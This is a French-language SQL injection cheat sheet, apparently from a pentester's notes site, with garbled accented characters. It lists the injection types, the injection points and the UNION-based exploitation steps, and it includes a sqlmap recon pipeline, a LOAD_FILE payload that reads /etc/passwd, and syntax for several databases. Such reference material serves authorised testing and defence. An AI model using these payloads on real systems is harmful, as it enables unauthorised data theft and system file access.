๐ขSQLi
Derniรจre mise ร jour
Cet article vous a-t-il รฉtรฉ utile ?
Derniรจre mise ร jour
Cet article vous a-t-il รฉtรฉ utile ?
https://github.com/mathis2001/Wordlists/tree/main/SQLi
Il existe trois types de SQLi:
les In-band dont on peut voir le rรฉsultat sur la page testรฉ et qui comprend:
Union based SQL injection: La plus efficace pour un attaquant basรฉe sur la fonction "UNION".
Error based SQL injection: Quant ร elle basรฉe sรปr le comportement des erreurs renvoyรฉs par le serveur.
Les Injection SQL en aveugle qui ne donne aucun rรฉsultat direct sur la page mais qui peuvent รชtre dรฉtรฉctรฉs de deux faรงons:
Time based SQL injection: Basรฉe sur des commandes permettant de dรฉfinir un temps de rรฉponse qui pourra รชtre dรฉtรฉctรฉ en analysant le temps de rรฉponse du serveur ร l'injection.
Boolean based SQL injection: Basรฉe sur la rรฉponse "TRUE" ou "FALSE" du serveur aux injections envoyรฉes.
Out-of-band qui ne renvoie aucun rรฉsultat direct ou indirect sur la machine auditรฉ mais qui peut-รชtre dรฉtรฉctรฉ en envoyant les donnรฉes sur un serveur distant.
Points d'injection:
Dans le champ du paramรจtre (ex: page.php?login=<payload>)
Directement dans un paramรจtre (ex: page.php?<payload>=...)
Dans le path (ex: page<payload>/)
Dans le header (user-agent:, referer:, cookies:)
Etapes:
Tenter de gรฉnรฉrer une erreur avec une entrรฉe invalide ou un caractรจre spรฉcial indiquant la prรฉsence d'une possibilitรฉ d'injection
Trouver le nombre total de colonnes dans la table avec les commandes "ORDER BY" et "GROUP BY"
Trouver des colonnes vulnรฉrables avec des opรฉrateurs "UNION"
Extraire les informations basiques telles que database(), version(), user(), uuid() avec "CONCAT()" ou "GROUP_CONCAT()"
Extraire les tables complรจtes avec le nom des colonnes (extraire le plus d'infos possible avec la commande "GROUP_CONCAT()"
Vรฉrifier les privilรจges pour les fichiers avec "FILE_PRIV"
Accรฉder au systรจme avec la commande "LOAD FILE()"
Mรฉthode 2:
Essayer de faire des operations (id=1332-1 => id=1331)
Essayer d'ajouter des caractรจres utilisรฉs dans les requรชtes SQL tels que ' " # afin de gรฉnรฉrer des erreurs
Tenter des injections gรฉnรฉriques (id=1331 AND 1=1 / id=1331 AND 1=2)
Faire de mรชme en ajoutant la synthaxe de commentaire ร la fin (--,#)
Utiliser des outils automatique si les tests sembles positifs
Mรฉthode pour automatiser la dรฉtection de SQLi:
$sublist3r -d target.com -o subdomains.txt
cat subdomains.txt | httpx | tee -a alive.txt
cat alive.txt | waybackurls | tee -a urls.txt
gf sqli urls.txt >> possible_sqli.txt
sqlmap -m sqli.txt --dbs --batch
' UNION ALL SELECT LOAD_FILE ('/etc/passwd')
Microsoft, MySQL
@@version
Oracle
v$version
PostgreSQL
version()
Oracle
--comment
Microsoft
--comment
/*comment*/
PostgreSQL
--comment
/*comment*/
MySQL
#comment
-- comment
[Notez l'espace entre les tirets et le commentaire]
/*comment*/
Oracle
'foo'||'bar'
Microsoft
'foo'+'bar'
PostgreSQL
'foo'||'bar'
MySQL
'foo' 'bar'
[Notez l'espace entre les deux chaรฎnes de caractรจres]
CONCAT('foo','bar')